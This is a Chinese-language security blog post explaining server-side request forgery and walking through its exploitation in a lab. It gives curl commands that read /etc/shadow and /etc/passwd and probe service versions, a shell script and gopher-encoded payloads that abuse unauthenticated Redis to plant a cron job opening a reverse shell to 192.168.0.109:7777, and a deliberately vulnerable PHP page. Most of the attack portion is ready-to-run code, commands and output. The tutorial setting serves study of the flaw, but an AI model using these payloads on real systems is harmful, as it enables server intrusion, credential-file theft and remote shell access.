C1imber's Blog

ssrf漏洞原理以及利用方法

字数统计: 2.1k阅读时长: 9 min
2018/08/26 Share

ssrf漏洞原理以及利用方法

ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以时服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip

ssrf中一些可以利用的curl协议

ssrf的利用方式取决于服务器所支持的curl协议,之前自己为了做该实验升级了curl的版本为最新版本,目前Centos6的curl版本为7.61.0,查看一下其支持的协议
mark
首先使用curl本地测试一些ssrf的攻击方法

利用file协议读取服务器的文件:

1
curl -v "file:///etc/shadow"

权限比较大的话,直接读取系统影子文件,不过这种情况也只是在本地测试中以root用户运行curl时才会存在
mark
利用dict协议去进行服务版本探测:

1
curl -v "dict://127.0.0.1:22/info

进行ssh服务的版本探测

mark
利用gopher协议扩大攻击面,攻击本地或者内网的一些脆弱的地方

举个栗子:比如redis数据库的默认配置允许可以直接在本地无需密码直接访问数据库,通过redis未授权访问漏洞可以通过在本地访问数据库,执行数据库语句,以利于redis未授权访问漏洞结合linux cron反弹shell为例

首先先写一个可以自动利用的shell脚本

1
vi rediscron.sh
1
2
3
4
5
echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1\n\n" | redis-cli -h $1 -p $2 -x set aaa
redis-cli -h $1 -p $2 config set dir /var/spool/cron
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
1
chmod +x rediscron.sh

之后执行脚本:

1
./rediscron.sh 127.0.0.1 6379

此时redis数据库的配置为没有修改的默认配置,我们可以通过本地访问redis去利用未授权访问漏洞反弹shell,可以看到执行脚本后成功在/var/spool/cron下创建了一个反弹shell的任务计划文件
mark

mark

mark

现在有一个问题就是如何将其转化为gopher协议的格式去利用,这里要利用到socat这个工具,去socat官网下载
mark

1
2
3
4
5
6
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install

之后使用socat作为中间人代理抓取流量

1
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

这条命令的意思相当于是发往6379端口的数据会先经过本地的4444端口,相当于做了一个代理去抓包,可以理解为burpsuite抓包的原理

之后再次执行

1
./rediscron.sh 127.0.0.1 4444

可以看到socat抓到了redis攻击的数据流量,具体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
> 2018/08/25 01:51:28.003621 length=87 from=0 to=86
*3\r
$3\r
set\r
$3\r
aaa\r
$58\r
* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1
\r
< 2018/08/25 01:51:28.003804 length=5 from=0 to=4
+OK\r
> 2018/08/25 01:51:28.007530 length=56 from=0 to=55
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$15\r
/var/spool/cron\r
< 2018/08/25 01:51:28.007715 length=5 from=0 to=4
+OK\r
> 2018/08/25 01:51:28.012076 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/08/25 01:51:28.012204 length=5 from=0 to=4
+OK\r
> 2018/08/25 01:51:28.021196 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/08/25 01:51:28.023025 length=5 from=0 to=4
+OK\r
> 2018/08/25 01:51:28.026348 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/08/25 01:51:28.026530 length=5 from=0 to=4
+OK\r

现在需要的就是将抓取到的redis攻击流量转化为gopher协议支持的格式,这里有一个转化规则

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a
  • 空白行替换为%0a

这里直接使用三叶草joychou师傅写的转化脚本tran2gopher.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
1
python tran2gopher.py redis.log

其中redis.log为刚刚抓取到的redis攻击流量
mark
经过转化后内容如下

1
*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$58%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$15%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

在本地使用curl的gopher协议测试一下

1
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$58%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.0.109/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$15%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'

mark
之后可以看到利用gpoher协议成功向任务计划目录下写了一个反弹shell的任务计划
mark
成功反弹shell
mark

ssrf漏洞实例

存在ssrf漏洞的代码ssrf.php如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ssrf漏洞实例</title>
</head>
<body>
<form action="">
input:<input type="text" name="url" value=""/>
<input type="submit" name="submit" value="get">
<?php
if(isset($_GET['url'])&&isset($_GET['submit']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP |CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
}
?>
</form>
</body>
</html>

漏洞场景:web应用实现了从其他服务器获取资源的功能,由于对url过滤不严而产生ssrf漏洞

1
http://192.168.0.103/ssrf.php?url=http%3A%2F%2Fwww.4o4notfound.org%2Findex.php%2Farchives%2F33%2F&submit=get

mark

首先查看php-curl扩展所支持的curl协议
mark
使用dict协议对本地服务进行探测,探测ssh服务版本payload:

1
http://192.168.0.103/ssrf.php?url=dict%3A%2F%2F127.0.0.1%3A22%2Finfo&submit=get

mark
探测redis服务版本payload:

1
http://192.168.0.103/ssrf.php?url=dict%3A%2F%2F127.0.0.1%3A6379%2Finfo&submit=get

mark
使用file协议读取服务器文件payload:

1
http://192.168.0.103/ssrf.php?url=file%3A%2F%2F%2Fetc%2Fpasswd&submit=get

mark
使用gopher协议攻击本地redis反弹shell payload:

1
http://192.168.0.103/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_*3%250d%250a%243%250d%250aset%250d%250a%243%250d%250aaaa%250d%250a%2458%250d%250a%250a%250a*+*+*+*+*+bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.0.109%2F7777+0%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2415%250d%250a%2Fvar%2Fspool%2Fcron%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a%250a&submit=get

mark
可以看到成功通过gopher协议攻击了本地的redis服务,向任务计划目录下写了一个反弹shell的cron文件
mark
在kali上成功反弹到了shell
mark

CATALOG
  1. 1. ssrf漏洞原理以及利用方法
    1. 1.0.1. ssrf中一些可以利用的curl协议
    2. 1.0.2. ssrf漏洞实例